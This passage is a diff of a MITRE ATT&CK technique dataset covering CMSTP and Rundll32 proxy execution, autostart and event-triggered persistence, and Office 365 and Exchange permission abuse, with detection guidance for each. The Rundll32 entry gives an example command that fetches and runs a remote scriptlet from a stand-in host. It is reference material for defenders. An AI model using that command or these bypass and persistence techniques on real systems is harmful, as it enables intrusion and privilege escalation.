+attack-pattern,attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:27:30.656Z,2020-06-20T22:34:03.247Z,CMSTP,"Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections. Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application. -CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/003', external_id='T1218.003'), ExternalReference(source_name='Microsoft Connection Manager Oct 2009', description='Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.', url='https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)'), ExternalReference(source_name='Twitter CMSTP Usage Jan 2018', description='Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.', url='https://twitter.com/ItsReallyNick/status/958789644165894146'), ExternalReference(source_name='MSitPros CMSTP Aug 2017', description='Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.', url='https://msitpros.com/?p=3960'), ExternalReference(source_name='Twitter CMSTP Jan 2018', description='Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.', url='https://twitter.com/NickTyrer/status/958450014111633408'), ExternalReference(source_name='GitHub Ultimate AppLocker Bypass List', description='Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', url='https://github.com/api0cradle/UltimateAppLockerByPassList'), ExternalReference(source_name='Endurant CMSTP July 2018', description='Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.', url='http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/')]",attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-20 22:34:03.247000+00:00,CMSTP,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Nik Seetharaman, Palantir', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control']",,,,"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. +CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/003', 'external_id': 'T1218.003'}, {'source_name': 'Microsoft Connection Manager Oct 2009', 'description': 'Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.', 'url': 'https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)'}, {'source_name': 'Twitter CMSTP Usage Jan 2018', 'description': 'Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.', 'url': 'https://twitter.com/ItsReallyNick/status/958789644165894146'}, {'source_name': 'MSitPros CMSTP Aug 2017', 'description': 'Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.', 'url': 'https://msitpros.com/?p=3960'}, {'source_name': 'Twitter CMSTP Jan 2018', 'description': 'Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.', 'url': 'https://twitter.com/NickTyrer/status/958450014111633408'}, {'source_name': 'GitHub Ultimate AppLocker Bypass List', 'description': 'Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.', 'url': 'https://github.com/api0cradle/UltimateAppLockerByPassList'}, {'source_name': 'Endurant CMSTP July 2018', 'description': 'Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.', 'url': 'http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nik Seetharaman, Palantir', 'Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank']","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']","['Anti-virus', 'Application control']","Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018) * To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external. -* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-23 18:03:46.248000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads. +* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T18:03:46.248Z,2021-10-14T21:45:53.057Z,Rundll32,"Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) -Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https[:]//www[.]example[.]com/malicious.sct"")"" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1218/011', external_id='T1218.011'), ExternalReference(source_name='Trend Micro CPL', description='Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', url='https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'), ExternalReference(source_name='This is Security Command Line Confusion', description='B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', url='https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/')]",attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-01-20 18:12:11.843000+00:00,Rundll32,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Casey Smith', 'Ricardo Dias']","['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load']","['Digital Certificate Validation', 'Application control', 'Anti-virus']",,,,Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.,,,,,True,,,['User'],['Windows'],,,,1.0 -2020-01-23 17:46:59.535000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:""\..\mshtml,RunHTMLApplication "";document.write();GetObject(""script:https[:]//www[.]example[.]com/malicious.sct"")"" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1218/011', 'external_id': 'T1218.011'}, {'source_name': 'Trend Micro CPL', 'description': 'Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'}, {'source_name': 'This is Security Command Line Confusion', 'description': 'B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.', 'url': 'https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/'}, {'source_name': 'Attackify Rundll32.exe Obscurity', 'description': 'Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.', 'url': 'https://www.attackify.com/blog/rundll32_execution_order/'}, {'source_name': 'Github NoRunDll', 'description': 'gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.', 'url': 'https://github.com/gtworek/PSBits/tree/master/NoRunDll'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Gareth Phillips, Seek Ltd.', 'Casey Smith', 'Ricardo Dias']","['File: File Metadata', 'Process: Process Creation', 'Command: Command Execution', 'Module: Module Load']","['Digital Certificate Validation', 'Application control', 'Anti-virus']","Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. + +Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",True,['User'],['Windows'],1.1,,,,,,, +attack-pattern,attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-23T17:46:59.535Z,2021-10-19T04:03:47.056Z,Boot or Logon Autostart Execution,"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)  These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel. -Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1547', external_id='T1547'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/564.html', external_id='CAPEC-564'), ExternalReference(source_name='Microsoft Run Key', description='Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', url='http://msdn.microsoft.com/en-us/library/aa376977'), ExternalReference(source_name='MSDN Authentication Packages', description='Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', url='https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'), ExternalReference(source_name='Microsoft TimeProvider', description='Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', url='https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'), ExternalReference(source_name='Cylance Reg Persistence Sept 2013', description='Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', url='https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'), ExternalReference(source_name='Linux Kernel Programming', description='Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', url='https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'), ExternalReference(source_name='TechNet Autoruns', description='Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', url='https://technet.microsoft.com/en-us/sysinternals/bb963902')]",attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-24 13:50:12.837000+00:00,Boot or Logon Autostart Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution']",,,,,"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. +Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547', 'external_id': 'T1547'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/564.html', 'external_id': 'CAPEC-564'}, {'source_name': 'Microsoft Run Key', 'description': 'Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014.', 'url': 'http://msdn.microsoft.com/en-us/library/aa376977'}, {'source_name': 'MSDN Authentication Packages', 'description': 'Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx'}, {'source_name': 'Microsoft TimeProvider', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'}, {'source_name': 'Cylance Reg Persistence Sept 2013', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'}, {'source_name': 'Linux Kernel Programming', 'description': 'Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.', 'url': 'https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Kernel: Kernel Module Load', 'Driver: Driver Load', 'Process: OS API Execution']",,"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. -Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",,,,,False,,,"['User', 'Administrator', 'root']","['Linux', 'macOS', 'Windows']",,,,1.1 -2020-01-22 21:04:23.285000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. +Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.",False,"['User', 'Administrator', 'root']","['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-22T21:04:23.285Z,2021-10-16T20:11:14.193Z,Event Triggered Execution,"Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware) -Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1546', external_id='T1546'), ExternalReference(source_name='FireEye WMI 2015', description='Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', url='https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'), ExternalReference(source_name='Malware Persistence on OS X', description='Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'), ExternalReference(source_name='amnesia malware', description='Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.', url='https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/')]",attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-13 21:32:54.610000+00:00,Event Triggered Execution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'WMI: WMI Creation', 'File: File Metadata', 'Module: Module Load']",,,,,"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. +Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546', 'external_id': 'T1546'}, {'source_name': 'FireEye WMI 2015', 'description': 'Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf'}, {'source_name': 'Malware Persistence on OS X', 'description': 'Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'amnesia malware', 'description': 'Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'WMI: WMI Creation', 'File: File Metadata', 'Module: Module Load']",,"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. @@ -2286,41 +2501,49 @@ Monitor for processes, API/System calls, and other common ways of manipulating t Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. -Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2020-01-19 16:59:45.362000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) +Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",False,,"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:59:45.362Z,2020-03-24T12:40:02.331Z,Add Office 365 Global Administrator Role,"An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) -This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1098/003', external_id='T1098.003'), ExternalReference(source_name='Microsoft Support O365 Add Another Admin, October 2019', description='Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', url='https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'), ExternalReference(source_name='Microsoft O365 Admin Roles', description='Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', url='https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide')]",attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-24 12:40:02.331000+00:00,Add Office 365 Global Administrator Role,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Microsoft Threat Intelligence Center (MSTIC)'],['User Account: User Account Modification'],,,,,Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ,,,,,True,,,['Administrator'],['Office 365'],,,,1.0 -2020-01-19 16:54:28.516000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) +This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/003', 'external_id': 'T1098.003'}, {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'}, {'source_name': 'Microsoft O365 Admin Roles', 'description': 'Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.', 'url': 'https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Microsoft Threat Intelligence Center (MSTIC)'],['User Account: User Account Modification'],,Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ,True,['Administrator'],['Office 365'],1.0,,,,,,, +attack-pattern,attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-19T16:54:28.516Z,2021-10-18T18:57:04.148Z,Exchange Email Delegate Permissions,"Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) -This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send 